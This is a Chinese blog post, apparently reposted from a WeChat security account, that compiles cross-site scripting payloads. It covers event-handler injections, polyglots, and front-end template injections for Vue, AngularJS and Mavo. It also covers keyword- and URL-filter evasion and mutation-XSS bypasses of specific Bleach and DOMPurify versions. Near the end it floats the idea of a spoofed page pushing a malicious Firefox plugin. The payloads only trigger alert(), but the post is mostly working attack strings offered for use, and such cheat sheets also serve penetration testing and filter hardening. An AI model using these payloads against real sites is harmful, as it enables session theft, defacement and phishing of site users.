2021 XSS payload整理

  • A+
所属分类:安全文章

2021 XSS payload整理


标记属性分隔符

以下是在firefox和chrome中有效的分隔符的列表:

十进制值

url编码后

代替符号

47

%27

/

13

%0D

回车

12

%0C

换页

10

%0A

换行

9

%09

水平制表符

<svg/onload=alert(1)><svg>
<svgonload=alert(1)><svg>
<svg onload=alert(1)><svg>
<svgonload=alert(1)><svg>


基于JavaScript事件的XSS

标准HTML事件

(无需点击触发)

标签属性

支持标签

注释

Onload(负载)


body, iframe, img, frameset, input, script, style, link, svg

普遍过滤

onpageshow事件在用户浏览网页时触发

body

很容易触发,只在非DOM注入中可用

onfocus (点击发生,获得焦点)

input, select, a

点击触发,通常和autofocus =“”一起使用

Onerror(数据加载错误时触发)


img, input, object, link, script, video, audio


确保传递参数以使其失败:例如图片路径不存在时会发生

Onanimationstart(css动画开始)

与任何可以动画化的元素结合

动画开始触发

Onanimationend(css动画结束)

与任何可以动画化的元素结合

动画结束触发

onstart(文字滚动开始触发)

marquee

滚动特效开始

onfinish(文字滚动结束触发)

marquee

滚动特效结束

Ontoggle(details折叠事件触发)

details

Details 点击时触发 例如

 

特殊情况下HTMl事件

标签属性

支持标签

注释

onmessage(跨页面通信)

大多数标签

postMessage通常用于绕过iframe限制并共享数据,因此,如果您的页面正在执行此操作,则可以使用onmessage来拦截消息并触发代码

onblur

input, select, a

当用户通过单击页面上的任何内容将焦点从注入的元素上移开时,只需单击一下即可设置autofocus =“”

<body onload=alert()>
<img src=x onerror=alert()>
<svg onload=alert()>
<body onpageshow=alert(1)>
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)
<marquee onstart=alert(1)> (firefox only)
<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)
<input autofocus="" onfocus=alert(1)></input>
<details open ontoggle="alert()"> (chrome & opera only)


HTML5多媒体事件

标签属性

适用标签

注释

onplay

video, audio

开始播放

onplaying

video, audio

暂停或者在缓冲后准备重新开始

oncanplay

video, audio

可以开始播放

onloadeddata

video, audio

懒得写看这

onloadedmetadata

video, audio


onprogress

video, audio


onloadstart

video, audio


oncanplay

video, audio


<video autoplay onloadstart="alert()" src=x></video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<video controls onloadstart="alert()"><source src=x></video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>


CSS

标签属性

标签

注释

Onmouseover(鼠标移动)

大多数标签

鼠标经过,触发

Onclick(单击)

大多数标签

鼠标点击触发

onanimationstart&onanimationend

大多数标签

CSS 动画开始或结束的触发器,您可以在页面加载(0 键单击)上实现。

<style>@keyframes x {}</style>
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>


奇异的XSS

不经常出现

<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>


XSS多语种

我使用几个XSS,因为有时您只需要输入特定的字符,并且需要基于DOM或非DOM的字符。

不要100%依赖这些,因为有些情况下它们会失败,但是如果你正在进行数据注入测试,那么polyglot可以提供很好的覆盖率。

特定字符

适用范围

脚本

141

都可以

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload=alert()//>

88

非DOM

"'--></noscript></noembed></template></title></textarea></style><script>alert()</script>

95

DOM

'"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>

54

非DOM

"'>-->*/</noscript></ti tle><script>alert()</script>

42

DOM

"'--></style></script><svg oNload=alert()>

 

前端框架

VueJS

V3:

{{_openBlock.constructor('alert(1)')()}

V2:

{{constructor.constructor('alert(1)')()}

AngularJS:

{{constructor.constructor('alert(1)')()}}

Mavo:

[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[''=''or self.alert(1)]
[Omglol mod 1 mod self.alert (1) andlol]


XSS 过滤器旁路

调用函数的JS模板文本

<svg onload=alert`1`></svg><script>alert`1`</script>

滥用HTML实体

仅适用于 HTML 注射,但如果将值直接注入脚本标记,则无法工作。这是因为解码发生在 HTML 解析器中,脚本标记之间的任何内容只需直接发送到 javacript 引擎,而无需解码。

可以使用三组不同的 HTML 实体进行编码,并随心所欲地将其组合在一起:命名()、十六进制()和十进制()。&plar; -> (&x28; -> (( -> (

<svg onload=alert&lpar;1&rpar;></svg>
<img src=x onerror=&#x22;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x22;>
<svg onload=alert&#x28;1&#x29></svg>
<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>
<svg onload=alert&#40;1&#41></svg>

受限字符集

3个站点将把有效的JS转换,可以很好地绕过很多过滤器:

JSFuck-仅使用6个字符将任意javascript转换为可执行javascript。唯一的缺点是复杂的javascript执行时间可能会很长。

JSFck-JSFuck没有括号-与上面相同,但更多的限制字符集。

jjencode-加密

arubesh.js-JSFuck的顶部需要一些额外的字符,但是如果空间有限并且过滤松散,那么可能会很有用。

关键字过滤

避免关键字和特定字符

(alert)(1)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
alu0065rt(1)
alu0065rt`1`
top['al145rt'](1)
top['alx65rt'](1)
top[8680439..toString(30)](1)

构造字符串

数字到字符串

正则表达式:

/part1/.source+/part2/.source => 'part1part2

在字符串中使用字符进制

"x41" -> "A": 十六进制"u0065" -> "A": unicode编码(值为十进制)"101" -> "A": 八进制

其他转化

有时,正则表达式或其他定制的过滤器会区分大小写。然后,您可以只使用toLowerCase(),例如:

globalThis["aLeRt".toLowerCase()]


调用函数

alert`1` 模板语法alert.apply(this,[1]):使用Function.prototype.applyalert.call(this,1):使用Function.prototype.callalert(1):显然是,但出于完整性考虑,将其包括在内。[1].find(alert):使用谓词[1].filter(alert):使用谓词


再利用和再循环

要查看已加载的内容!jQuery是一个简单的示例,但是任何足够复杂的框架都可能会有用。Wappalyzer或等效工具可以在这里提供帮助。

window.jQuery.globalEval("alert(1)")$.globalEval("alert(1)")


mXSS和DOM破坏

XSS过滤器基本上不可能正确预测浏览器和交互库会突变HTML的每种方式,因此发生的事情是,您有时可以将XSS有效内容潜入其中,因为无效的HTML,而浏览器+清理程序会将其纠正为有效的HTML有效负载...绕过所有过滤。

 

旁路mXSS有效载荷

Bleach <=3.1.1

Bleach <=3.1.1<noscript><style></noscript><img src=x onerror=alert(1)>
<svg><style><img src=x onerror=alert(1)></style></svg>

DOMPurify <2.1

<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">
<math><mtext><table><mglyph><style><!--</style><img title=&quot;--></mglyph><img src=1 onerror=alert(1)>">

DOMPurify <2.0.1

<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
<svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>


双重编码

Char

Double encoded

<

%253C

>

%253E

(

%2528

)

%2529

"

%2522

'

%2527

 

URL过滤绕过

技术

例子


区分大小写

JaVaScript:alert(1)

URL协议不区分大小写

某些INSIDE空格协议

javas cript:alert(1)

选项卡(0x9),换行符(0xa)和回车符(0xd)可以在协议中的任何位置使用

协议前的空白

javascript:alert(1)

可以在协议之前插入字符 x01- x20

oclon之前的一些空白AFTER协议

javascript :

协议后允许在任意位置使用制表符(0x9),换行符(0xa)和回车符(0xd)


哑剧类型开发

通过设置URL(例如,通过location.href或标签中的href字段)或其他方式强制浏览器加载数据,则可以执行javascript。在Firefox中,它们被视为与原始页面相同的域,但在Chrome中则不一样。无论如何,这可能会导致一些危险的结果,如下所述

如果您不熟悉,可以通过将这些有效负载粘贴到浏览器的URL中来对其进行测试。它们都只是发出警报('XSS'),但是如果您要谨慎的话,可以通过在有效负载上使用base64解码器来进行验证:data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+

data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Firefox only

data:application/vnd.wap.xhtml+xml;base64,PHg6c2NyaXB0IHhtbG5zOng9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KCdYU1MnKTwveDpzY3JpcHQ+

不是XSS,而是考虑可以削弱破坏的其他mime类型。就像下面的示例一样,在Firefox中使用application / x-xpinstall提示用户安装插件…想象一下,如果有人用这种方法链接文本/ html来欺骗合法网站的外观,然后提示用户安装一个插件,那将是多么糟糕。可以访问其所有浏览器数据的插件?

仅限Firefox

data:application/x-xpinstall;base64,<BASE64 ENCODED FIREFOX .XPI PLUGIN>

 

 来源:网路



关于我们:

北京路劲科技有限公司(Beijing Lujin Technology Co. , Ltd.)成立于2019年1月4日,是一家提供全面系统集成与信息安全解决方案的专业IT技术服务公司。公司秉承“为网络安全保驾护航”的企业愿景及“提升国家整体安全”的使命,依据风险评估模型和等级保护标准,采用大数据等技术手段,开展网络安全相关业务。公司致力于为各个行业的业务信息化提供软件和通用解决方案、系统架构,系统管理和数据安全服务、以及IT咨询规划、系统集成与系统服务等专业化服务。公司立足北京,走向全国,始终坚持“换位、细节、感恩”的核心价值观,以“共赢、共享、共成长”的经营理念为出发点,集合了一批敢于创新、充满活力、热衷于为IT行业服务的优秀人才,致力于成为您身边的网络安全专家。


关注路劲科技,关注网络安全!

公司:北京路劲科技有限公司

地址:北京市昌平区南邵镇双营西路78号院2号楼5层504



本文始发于微信公众号(LSCteam):2021 XSS payload整理

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: